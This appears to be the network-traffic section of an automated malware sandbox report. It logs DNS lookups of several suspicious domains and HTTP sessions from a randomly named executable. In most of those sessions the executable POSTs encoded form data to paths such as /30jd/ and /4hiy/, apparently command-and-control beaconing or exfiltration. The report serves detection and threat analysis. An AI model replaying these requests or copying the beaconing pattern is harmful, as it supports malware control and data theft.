                                                                        Oct 2, 2024 15:17:46.053085089 CEST8055605199.192.21.169192.168.2.5
                                                                        Oct 2, 2024 15:17:46.053225040 CEST5560580192.168.2.5199.192.21.169
                                                                        Oct 2, 2024 15:17:46.067388058 CEST5560580192.168.2.5199.192.21.169
                                                                        Oct 2, 2024 15:17:46.072216988 CEST8055605199.192.21.169192.168.2.5
                                                                        Oct 2, 2024 15:17:46.657394886 CEST8055605199.192.21.169192.168.2.5
                                                                        Oct 2, 2024 15:17:46.657422066 CEST8055605199.192.21.169192.168.2.5
                                                                        Oct 2, 2024 15:17:46.657571077 CEST5560580192.168.2.5199.192.21.169
                                                                        Oct 2, 2024 15:17:47.572419882 CEST5560580192.168.2.5199.192.21.169
                                                                        Oct 2, 2024 15:17:48.589754105 CEST5560680192.168.2.5199.192.21.169
                                                                        Oct 2, 2024 15:17:48.596092939 CEST8055606199.192.21.169192.168.2.5
                                                                        Oct 2, 2024 15:17:48.596260071 CEST5560680192.168.2.5199.192.21.169
                                                                        Oct 2, 2024 15:17:48.606863022 CEST5560680192.168.2.5199.192.21.169
                                                                        Oct 2, 2024 15:17:48.612092972 CEST8055606199.192.21.169192.168.2.5
                                                                        Oct 2, 2024 15:17:48.612104893 CEST8055606199.192.21.169192.168.2.5
                                                                        Oct 2, 2024 15:17:49.215279102 CEST8055606199.192.21.169192.168.2.5
                                                                        Oct 2, 2024 15:17:49.215315104 CEST8055606199.192.21.169192.168.2.5
                                                                        Oct 2, 2024 15:17:49.215451956 CEST5560680192.168.2.5199.192.21.169
                                                                        Oct 2, 2024 15:17:50.117562056 CEST5560680192.168.2.5199.192.21.169
                                                                        Oct 2, 2024 15:17:51.137397051 CEST5560780192.168.2.5199.192.21.169
                                                                        Oct 2, 2024 15:17:51.142414093 CEST8055607199.192.21.169192.168.2.5
                                                                        Oct 2, 2024 15:17:51.142501116 CEST5560780192.168.2.5199.192.21.169
                                                                        Oct 2, 2024 15:17:51.151731968 CEST5560780192.168.2.5199.192.21.169
                                                                        Oct 2, 2024 15:17:51.156575918 CEST8055607199.192.21.169192.168.2.5
                                                                        Oct 2, 2024 15:17:51.735878944 CEST8055607199.192.21.169192.168.2.5
                                                                        Oct 2, 2024 15:17:51.736108065 CEST8055607199.192.21.169192.168.2.5
                                                                        Oct 2, 2024 15:17:51.736463070 CEST5560780192.168.2.5199.192.21.169
                                                                        Oct 2, 2024 15:17:51.738934040 CEST5560780192.168.2.5199.192.21.169
                                                                        Oct 2, 2024 15:17:51.744177103 CEST8055607199.192.21.169192.168.2.5

                                                                        UDP Packets

                                                                        TimestampSource PortDest PortSource IPDest IP
                                                                        Oct 2, 2024 15:15:20.242435932 CEST5363071162.159.36.2192.168.2.5
                                                                        Oct 2, 2024 15:15:20.760756969 CEST5034253192.168.2.51.1.1.1
                                                                        Oct 2, 2024 15:15:20.780567884 CEST53503421.1.1.1192.168.2.5
                                                                        Oct 2, 2024 15:15:41.848718882 CEST5566753192.168.2.51.1.1.1
                                                                        Oct 2, 2024 15:15:41.862001896 CEST53556671.1.1.1192.168.2.5
                                                                        Oct 2, 2024 15:15:57.418966055 CEST6329253192.168.2.51.1.1.1
                                                                        Oct 2, 2024 15:15:57.496905088 CEST53632921.1.1.1192.168.2.5
                                                                        Oct 2, 2024 15:16:10.685256004 CEST5054453192.168.2.51.1.1.1
                                                                        Oct 2, 2024 15:16:10.697009087 CEST53505441.1.1.1192.168.2.5
                                                                        Oct 2, 2024 15:16:23.825531960 CEST6102553192.168.2.51.1.1.1
                                                                        Oct 2, 2024 15:16:23.863845110 CEST53610251.1.1.1192.168.2.5
                                                                        Oct 2, 2024 15:16:38.653542042 CEST5876953192.168.2.51.1.1.1
                                                                        Oct 2, 2024 15:16:38.669440985 CEST53587691.1.1.1192.168.2.5
                                                                        Oct 2, 2024 15:16:54.747402906 CEST6312953192.168.2.51.1.1.1
                                                                        Oct 2, 2024 15:16:55.254581928 CEST53631291.1.1.1192.168.2.5
                                                                        Oct 2, 2024 15:17:29.401932955 CEST5005653192.168.2.51.1.1.1
                                                                        Oct 2, 2024 15:17:29.660445929 CEST53500561.1.1.1192.168.2.5
                                                                        Oct 2, 2024 15:17:42.966029882 CEST6354853192.168.2.51.1.1.1
                                                                        Oct 2, 2024 15:17:43.502911091 CEST53635481.1.1.1192.168.2.5

                                                                        DNS Queries

                                                                        TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                        Oct 2, 2024 15:15:20.760756969 CEST192.168.2.51.1.1.10x6b42Standard query (0)171.39.242.20.in-addr.arpaPTR (Pointer record)IN (0x0001)false
                                                                        Oct 2, 2024 15:15:41.848718882 CEST192.168.2.51.1.1.10x5cc4Standard query (0)www.aaavvejibej.bondA (IP address)IN (0x0001)false
                                                                        Oct 2, 2024 15:15:57.418966055 CEST192.168.2.51.1.1.10x9e28Standard query (0)www.whats-in-the-box.orgA (IP address)IN (0x0001)false
                                                                        Oct 2, 2024 15:16:10.685256004 CEST192.168.2.51.1.1.10x54fbStandard query (0)www.weatherbook.liveA (IP address)IN (0x0001)false
                                                                        Oct 2, 2024 15:16:23.825531960 CEST192.168.2.51.1.1.10x28cfStandard query (0)www.crowsecurity.cloudA (IP address)IN (0x0001)false
                                                                        Oct 2, 2024 15:16:38.653542042 CEST192.168.2.51.1.1.10x4202Standard query (0)www.inspireplay.liveA (IP address)IN (0x0001)false
                                                                        Oct 2, 2024 15:16:54.747402906 CEST192.168.2.51.1.1.10xc684Standard query (0)www.shanhaiguan.netA (IP address)IN (0x0001)false
                                                                        Oct 2, 2024 15:17:29.401932955 CEST192.168.2.51.1.1.10xa2c1Standard query (0)www.lanxuanz.techA (IP address)IN (0x0001)false
                                                                        Oct 2, 2024 15:17:42.966029882 CEST192.168.2.51.1.1.10xa9afStandard query (0)www.selftip.topA (IP address)IN (0x0001)false

                                                                        DNS Answers

                                                                        TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                        Oct 2, 2024 15:15:20.780567884 CEST1.1.1.1192.168.2.50x6b42Name error (3)171.39.242.20.in-addr.arpanonenonePTR (Pointer record)IN (0x0001)false
                                                                        Oct 2, 2024 15:15:41.862001896 CEST1.1.1.1192.168.2.50x5cc4No error (0)www.aaavvejibej.bond172.67.181.150A (IP address)IN (0x0001)false
                                                                        Oct 2, 2024 15:15:41.862001896 CEST1.1.1.1192.168.2.50x5cc4No error (0)www.aaavvejibej.bond104.21.31.249A (IP address)IN (0x0001)false
                                                                        Oct 2, 2024 15:15:57.496905088 CEST1.1.1.1192.168.2.50x9e28No error (0)www.whats-in-the-box.orgwhats-in-the-box.orgCNAME (Canonical name)IN (0x0001)false
                                                                        Oct 2, 2024 15:15:57.496905088 CEST1.1.1.1192.168.2.50x9e28No error (0)whats-in-the-box.org3.33.130.190A (IP address)IN (0x0001)false
                                                                        Oct 2, 2024 15:15:57.496905088 CEST1.1.1.1192.168.2.50x9e28No error (0)whats-in-the-box.org15.197.148.33A (IP address)IN (0x0001)false
                                                                        Oct 2, 2024 15:16:10.697009087 CEST1.1.1.1192.168.2.50x54fbNo error (0)www.weatherbook.liveweatherbook.liveCNAME (Canonical name)IN (0x0001)false
                                                                        Oct 2, 2024 15:16:10.697009087 CEST1.1.1.1192.168.2.50x54fbNo error (0)weatherbook.live3.33.130.190A (IP address)IN (0x0001)false
                                                                        Oct 2, 2024 15:16:10.697009087 CEST1.1.1.1192.168.2.50x54fbNo error (0)weatherbook.live15.197.148.33A (IP address)IN (0x0001)false
                                                                        Oct 2, 2024 15:16:23.863845110 CEST1.1.1.1192.168.2.50x28cfNo error (0)www.crowsecurity.cloudcrowsecurity.cloudCNAME (Canonical name)IN (0x0001)false
                                                                        Oct 2, 2024 15:16:23.863845110 CEST1.1.1.1192.168.2.50x28cfNo error (0)crowsecurity.cloud3.33.130.190A (IP address)IN (0x0001)false
                                                                        Oct 2, 2024 15:16:23.863845110 CEST1.1.1.1192.168.2.50x28cfNo error (0)crowsecurity.cloud15.197.148.33A (IP address)IN (0x0001)false
                                                                        Oct 2, 2024 15:16:38.669440985 CEST1.1.1.1192.168.2.50x4202No error (0)www.inspireplay.liveinspireplay.liveCNAME (Canonical name)IN (0x0001)false
                                                                        Oct 2, 2024 15:16:38.669440985 CEST1.1.1.1192.168.2.50x4202No error (0)inspireplay.live3.33.130.190A (IP address)IN (0x0001)false
                                                                        Oct 2, 2024 15:16:38.669440985 CEST1.1.1.1192.168.2.50x4202No error (0)inspireplay.live15.197.148.33A (IP address)IN (0x0001)false
                                                                        Oct 2, 2024 15:16:55.254581928 CEST1.1.1.1192.168.2.50xc684No error (0)www.shanhaiguan.net156.242.132.82A (IP address)IN (0x0001)false
                                                                        Oct 2, 2024 15:17:29.660445929 CEST1.1.1.1192.168.2.50xa2c1No error (0)www.lanxuanz.techzhs.zohosites.comCNAME (Canonical name)IN (0x0001)false
                                                                        Oct 2, 2024 15:17:29.660445929 CEST1.1.1.1192.168.2.50xa2c1No error (0)zhs.zohosites.com136.143.186.12A (IP address)IN (0x0001)false
                                                                        Oct 2, 2024 15:17:43.502911091 CEST1.1.1.1192.168.2.50xa9afNo error (0)www.selftip.top199.192.21.169A (IP address)IN (0x0001)false

                                                                        HTTP Request Dependency Graph

                                                                        • www.aaavvejibej.bond
                                                                        • www.whats-in-the-box.org
                                                                        • www.weatherbook.live
                                                                        • www.crowsecurity.cloud
                                                                        • www.inspireplay.live
                                                                        • www.shanhaiguan.net
                                                                        • www.lanxuanz.tech
                                                                        • www.selftip.top

                                                                        HTTP Packets

                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        0192.168.2.555579172.67.181.150801812C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Oct 2, 2024 15:15:41.884568930 CEST525OUTGET /lpl9/?B0yh=QxoXDZd&cvWdIt=e8lWkFdpBI8fMqvo7AyVm0fpL9kk7cHQmYaHg/xvgOUuLw6B3kGtYYWM8/CK9QzH2IDr1kJuLXtu8i/nZF8LNOaL82kNnZvlFJYi74gKoV19uDxCQwtjMILqUMBFsIfV+w== HTTP/1.1
                                                                        Host: www.aaavvejibej.bond
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Language: en-us
                                                                        Connection: close
                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
                                                                        Oct 2, 2024 15:15:42.369262934 CEST742INHTTP/1.1 403 Forbidden
                                                                        Date: Wed, 02 Oct 2024 13:15:42 GMT
                                                                        Content-Type: text/plain; charset=UTF-8
                                                                        Content-Length: 16
                                                                        Connection: close
                                                                        X-Frame-Options: SAMEORIGIN
                                                                        Referrer-Policy: same-origin
                                                                        Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0
                                                                        Expires: Thu, 01 Jan 1970 00:00:01 GMT
                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JxhRIcoDvgCLCtSL996GAbs2U%2B6zke9QAAqcrJhs%2FnaoMFe15dqfTumDuCsQQ0zcFQkBiaqZM7NAifd07JJNGiOlDa%2B0xbcN9ikcDdwxWC5tboXPJMNzl2S1gN4r6Hjz8sJxQOrTtQ%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                        Server: cloudflare
                                                                        CF-RAY: 8cc4f675697c424c-EWR
                                                                        Data Raw: 65 72 72 6f 72 20 63 6f 64 65 3a 20 31 30 31 30
                                                                        Data Ascii: error code: 1010


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        1192.168.2.5555803.33.130.190801812C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Oct 2, 2024 15:15:57.516074896 CEST800OUTPOST /30jd/ HTTP/1.1
                                                                        Host: www.whats-in-the-box.org
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Language: en-us
                                                                        Accept-Encoding: gzip, deflate
                                                                        Origin: http://www.whats-in-the-box.org
                                                                        Content-Type: application/x-www-form-urlencoded
                                                                        Connection: close
                                                                        Cache-Control: no-cache
                                                                        Content-Length: 207
                                                                        Referer: http://www.whats-in-the-box.org/30jd/
                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
                                                                        Data Raw: 63 76 57 64 49 74 3d 44 76 72 2b 4f 48 70 57 51 62 73 38 37 68 49 79 6a 33 33 43 37 66 5a 46 52 48 55 35 77 50 39 4b 56 72 4d 64 43 68 4b 39 75 35 2b 69 75 65 55 38 4e 32 45 6c 6f 48 7a 56 64 64 57 47 45 70 69 50 4e 41 68 53 50 34 4f 30 55 4c 39 35 79 34 47 76 63 79 4e 65 65 36 6f 64 53 4c 70 55 6d 76 50 48 78 30 77 76 76 69 59 39 75 51 49 59 63 44 6f 6f 31 73 62 63 32 39 51 65 50 58 6f 2b 58 71 48 37 79 79 73 4a 64 32 70 36 4d 65 64 34 68 2b 39 35 77 6b 38 70 45 46 6a 53 76 57 6e 66 53 4c 47 35 65 74 37 4d 61 2f 57 4a 38 51 4c 6b 5a 79 66 45 55 4a 73 70 62 75 64 45 30 42 53 4a 49 48 5a 67 72 56 68 54 59 54 63 3d
                                                                        Data Ascii: cvWdIt=Dvr+OHpWQbs87hIyj33C7fZFRHU5wP9KVrMdChK9u5+iueU8N2EloHzVddWGEpiPNAhSP4O0UL95y4GvcyNee6odSLpUmvPHx0wvviY9uQIYcDoo1sbc29QePXo+XqH7yysJd2p6Med4h+95wk8pEFjSvWnfSLG5et7Ma/WJ8QLkZyfEUJspbudE0BSJIHZgrVhTYTc=


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        2192.168.2.5555813.33.130.190801812C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Oct 2, 2024 15:16:00.068084955 CEST820OUTPOST /30jd/ HTTP/1.1
                                                                        Host: www.whats-in-the-box.org
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Language: en-us
                                                                        Accept-Encoding: gzip, deflate
                                                                        Origin: http://www.whats-in-the-box.org
                                                                        Content-Type: application/x-www-form-urlencoded
                                                                        Connection: close
                                                                        Cache-Control: no-cache
                                                                        Content-Length: 227
                                                                        Referer: http://www.whats-in-the-box.org/30jd/
                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
                                                                        Data Raw: 63 76 57 64 49 74 3d 44 76 72 2b 4f 48 70 57 51 62 73 38 36 42 34 79 73 33 4c 43 39 2f 5a 43 50 33 55 35 36 76 39 4f 56 71 77 64 43 67 4f 74 74 4b 4b 69 67 62 6f 38 4f 30 73 6c 76 48 7a 56 4a 4e 57 44 41 70 6a 69 4e 41 6b 74 50 35 79 30 55 4c 70 35 79 36 65 76 66 41 6c 5a 45 4b 6f 66 61 72 70 73 70 50 50 48 78 30 77 76 76 69 4d 48 75 51 41 59 63 79 34 6f 31 4a 76 66 71 74 51 66 4f 58 6f 2b 42 61 48 2f 79 79 73 72 64 79 78 63 4d 62 42 34 68 38 6c 35 7a 78 49 71 66 31 6a 59 69 32 6e 50 58 4b 32 39 48 4f 37 44 58 76 50 4f 72 43 50 6c 59 45 79 75 4f 72 6b 42 49 4f 78 38 6b 53 61 2b 5a 33 34 4a 78 32 78 6a 47 45 4a 37 75 59 2f 51 74 57 47 4b 32 4d 41 6e 52 58 4d 58 4f 37 58 5a
                                                                        Data Ascii: cvWdIt=Dvr+OHpWQbs86B4ys3LC9/ZCP3U56v9OVqwdCgOttKKigbo8O0slvHzVJNWDApjiNAktP5y0ULp5y6evfAlZEKofarpspPPHx0wvviMHuQAYcy4o1JvfqtQfOXo+BaH/yysrdyxcMbB4h8l5zxIqf1jYi2nPXK29HO7DXvPOrCPlYEyuOrkBIOx8kSa+Z34Jx2xjGEJ7uY/QtWGK2MAnRXMXO7XZ


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        3192.168.2.5555823.33.130.190801812C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Oct 2, 2024 15:16:02.590126038 CEST1837OUTPOST /30jd/ HTTP/1.1
                                                                        Host: www.whats-in-the-box.org
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Language: en-us
                                                                        Accept-Encoding: gzip, deflate
                                                                        Origin: http://www.whats-in-the-box.org
                                                                        Content-Type: application/x-www-form-urlencoded
                                                                        Connection: close
                                                                        Cache-Control: no-cache
                                                                        Content-Length: 1243
                                                                        Referer: http://www.whats-in-the-box.org/30jd/
                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
                                                                        Data Raw: 63 76 57 64 49 74 3d 44 76 72 2b 4f 48 70 57 51 62 73 38 36 42 34 79 73 33 4c 43 39 2f 5a 43 50 33 55 35 36 76 39 4f 56 71 77 64 43 67 4f 74 74 4c 79 69 67 70 77 38 4f 56 73 6c 75 48 7a 56 57 39 57 43 41 70 6a 61 4e 41 64 6b 50 35 2b 4f 55 4a 52 35 79 62 2b 76 58 52 6c 5a 4b 36 6f 66 59 72 70 58 6d 76 4f 48 78 30 67 72 76 69 63 48 75 51 41 59 63 78 77 6f 7a 63 62 66 6f 74 51 65 50 58 6f 79 58 71 48 62 79 79 6b 61 64 79 6c 71 4e 6f 5a 34 68 63 31 35 32 48 6b 71 54 31 6a 57 78 47 6d 51 58 4b 37 6a 48 4f 6e 35 58 73 54 6f 72 41 66 6c 56 52 7a 7a 5a 6f 6f 66 65 66 6c 45 32 52 4f 77 49 77 56 71 76 41 30 56 47 47 42 56 75 61 37 41 73 54 57 67 77 74 42 6f 4b 41 55 51 4d 4d 32 70 71 68 78 4a 62 46 49 56 41 46 71 45 77 34 5a 4e 6b 46 77 47 42 47 6e 31 76 4f 4c 49 30 67 79 4c 6e 6d 77 75 65 33 32 35 4c 39 4b 48 4d 6a 70 73 44 38 6e 51 33 43 49 62 4c 4f 37 31 36 65 39 70 73 6a 35 33 35 52 45 2b 4d 6e 6f 54 43 44 45 78 4e 51 37 69 54 38 47 47 48 43 69 4d 35 44 4f 41 73 75 48 4e 52 55 77 50 52 37 67 2f 6c 34 49 [TRUNCATED]
                                                                        Data Ascii: cvWdIt=Dvr+OHpWQbs86B4ys3LC9/ZCP3U56v9OVqwdCgOttLyigpw8OVsluHzVW9WCApjaNAdkP5+OUJR5yb+vXRlZK6ofYrpXmvOHx0grvicHuQAYcxwozcbfotQePXoyXqHbyykadylqNoZ4hc152HkqT1jWxGmQXK7jHOn5XsTorAflVRzzZoofeflE2ROwIwVqvA0VGGBVua7AsTWgwtBoKAUQMM2pqhxJbFIVAFqEw4ZNkFwGBGn1vOLI0gyLnmwue325L9KHMjpsD8nQ3CIbLO716e9psj535RE+MnoTCDExNQ7iT8GGHCiM5DOAsuHNRUwPR7g/l4Iu1deRaqscHI5bpg5/92hi/jbI0fOXsn32M7mz7ml2i40T9wiotNbCErscQoGmLZh/abojiQaa8iOvH2rh78hfTUvI5PFXyUsHZtMblXZmeSs1v3VTapfq7FHdEMUXTaNEFTt7o/UgmP2gRDFWbKt+tF/cRwGyeLykhLSUbVkjWAzgKM044UDfy1hujmjpuzk+fQAQtksYY21mKALVpF7l3NYmYXbbN/QNuP9L1CLNXI4YWXA0FxKf/tCoqzZ63n/JlGny4TG5Ak5N8ghw5G3ogw+D9nbdILE7/vE3tpxU2ak2G0Q4eTHchurSgxjw9irwPagXmDOxzLLbka/KRQw648PMv3wGKMgeWJ7h0QmZiZ0MEEZHnr9PxKmKROIZn+m1Qv3ZPr7RXmWA4DoGGIBvaHVofRwEoeFMM4Uu/JZZ5MmuMGsQS76yhuvmcre5KSSGsBbqpbFqLHsdtf5NbKNx0Rz3JpkXYQXaJu11SgbT5Lo3EsKzrjG+UG7lzuAkAEG27ZCGamHWqTmARBHA/mGjpJh+NY7yynJb793YzAVqpv39dBV20Ooe7yc16dBiRfCPmUKctKZHGI2nub+c3wq9otwvmXXswIrpMgthnqu8U0Pk5/Vf9aSOQs58XWaSl6G54PxbLn8U6QkE+Eg5r8KXYbhP4XnMYJEGJ [TRUNCATED]


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        4192.168.2.5555833.33.130.190801812C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Oct 2, 2024 15:16:05.158104897 CEST529OUTGET /30jd/?cvWdIt=OtDeNxpSfKodwTItmXnqw9okUGp+yodldrB0PRj1l4+Fh7wLXn4C+U6iIOCzG6zWS3UsP4q8AKFA04SbUzJ+ZINpZ/dGman2y3QE8REBmyQhM0FW68vcu8IEOHtVe4iRxQ==&B0yh=QxoXDZd HTTP/1.1
                                                                        Host: www.whats-in-the-box.org
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Language: en-us
                                                                        Connection: close
                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
                                                                        Oct 2, 2024 15:16:05.671933889 CEST407INHTTP/1.1 200 OK
                                                                        Server: openresty
                                                                        Date: Wed, 02 Oct 2024 13:16:05 GMT
                                                                        Content-Type: text/html
                                                                        Content-Length: 267
                                                                        Connection: close
                                                                        Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 63 76 57 64 49 74 3d 4f 74 44 65 4e 78 70 53 66 4b 6f 64 77 54 49 74 6d 58 6e 71 77 39 6f 6b 55 47 70 2b 79 6f 64 6c 64 72 42 30 50 52 6a 31 6c 34 2b 46 68 37 77 4c 58 6e 34 43 2b 55 36 69 49 4f 43 7a 47 36 7a 57 53 33 55 73 50 34 71 38 41 4b 46 41 30 34 53 62 55 7a 4a 2b 5a 49 4e 70 5a 2f 64 47 6d 61 6e 32 79 33 51 45 38 52 45 42 6d 79 51 68 4d 30 46 57 36 38 76 63 75 38 49 45 4f 48 74 56 65 34 69 52 78 51 3d 3d 26 42 30 79 68 3d 51 78 6f 58 44 5a 64 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e
                                                                        Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?cvWdIt=OtDeNxpSfKodwTItmXnqw9okUGp+yodldrB0PRj1l4+Fh7wLXn4C+U6iIOCzG6zWS3UsP4q8AKFA04SbUzJ+ZINpZ/dGman2y3QE8REBmyQhM0FW68vcu8IEOHtVe4iRxQ==&B0yh=QxoXDZd"}</script></head></html>


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        5192.168.2.5555843.33.130.190801812C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Oct 2, 2024 15:16:10.717802048 CEST788OUTPOST /4hiy/ HTTP/1.1
                                                                        Host: www.weatherbook.live
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Language: en-us
                                                                        Accept-Encoding: gzip, deflate
                                                                        Origin: http://www.weatherbook.live
                                                                        Content-Type: application/x-www-form-urlencoded
                                                                        Connection: close
                                                                        Cache-Control: no-cache
                                                                        Content-Length: 207
                                                                        Referer: http://www.weatherbook.live/4hiy/
                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
                                                                        Data Raw: 63 76 57 64 49 74 3d 38 35 57 57 4c 4a 50 42 72 58 69 36 45 70 54 58 30 7a 64 54 67 35 56 50 39 6b 55 75 37 51 77 35 59 39 4c 6d 6c 76 49 64 55 76 43 6f 33 55 57 56 50 77 73 4e 6b 61 44 54 52 70 34 6e 59 58 4b 72 45 75 71 38 49 41 55 31 48 65 2b 2f 70 44 57 78 33 51 43 41 41 72 6a 2f 45 44 2b 6a 37 4c 4d 46 79 59 47 51 2f 59 30 41 35 4a 57 73 48 6e 2b 48 48 4f 6d 71 42 62 47 74 49 49 76 63 4e 55 56 53 4a 76 39 72 33 39 7a 74 76 30 71 45 6c 43 78 32 74 6e 30 35 35 61 6a 38 56 5a 78 32 7a 47 71 56 59 71 57 6a 44 49 48 4f 47 50 61 31 30 34 5a 4f 4c 65 43 2b 59 63 53 55 36 6c 6c 62 6a 6a 54 6f 6a 4f 34 49 2f 52 73 3d
                                                                        Data Ascii: cvWdIt=85WWLJPBrXi6EpTX0zdTg5VP9kUu7Qw5Y9LmlvIdUvCo3UWVPwsNkaDTRp4nYXKrEuq8IAU1He+/pDWx3QCAArj/ED+j7LMFyYGQ/Y0A5JWsHn+HHOmqBbGtIIvcNUVSJv9r39ztv0qElCx2tn055aj8VZx2zGqVYqWjDIHOGPa104ZOLeC+YcSU6llbjjTojO4I/Rs=


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        6192.168.2.5555853.33.130.190801812C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Oct 2, 2024 15:16:13.261183023 CEST808OUTPOST /4hiy/ HTTP/1.1
                                                                        Host: www.weatherbook.live
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Language: en-us
                                                                        Accept-Encoding: gzip, deflate
                                                                        Origin: http://www.weatherbook.live
                                                                        Content-Type: application/x-www-form-urlencoded
                                                                        Connection: close
                                                                        Cache-Control: no-cache
                                                                        Content-Length: 227
                                                                        Referer: http://www.weatherbook.live/4hiy/
                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
                                                                        Data Raw: 63 76 57 64 49 74 3d 38 35 57 57 4c 4a 50 42 72 58 69 36 46 4a 44 58 7a 51 31 54 6c 5a 56 4d 7a 45 55 75 69 41 77 39 59 39 48 6d 6c 72 34 4e 55 38 71 6f 30 78 53 56 4f 78 73 4e 6e 61 44 54 4a 5a 34 6d 48 48 4c 6e 45 75 33 63 49 42 6f 31 48 61 57 2f 70 44 6d 78 30 68 43 44 47 37 6a 35 4f 54 2b 6c 6b 62 4d 46 79 59 47 51 2f 59 67 36 35 4a 65 73 48 55 57 48 45 72 61 74 43 62 47 75 42 6f 76 63 61 45 56 57 4a 76 38 4d 33 35 7a 58 76 78 75 45 6c 41 70 32 71 31 51 34 67 71 6a 36 4c 70 77 45 39 33 48 37 55 72 7a 7a 42 72 53 4b 47 2f 53 37 78 4f 30 6b 52 38 4b 57 4c 38 2b 73 71 32 74 73 79 54 79 42 35 74 6f 34 68 47 34 38 49 45 47 79 67 37 38 75 78 6e 53 36 53 77 65 69 72 35 31 72
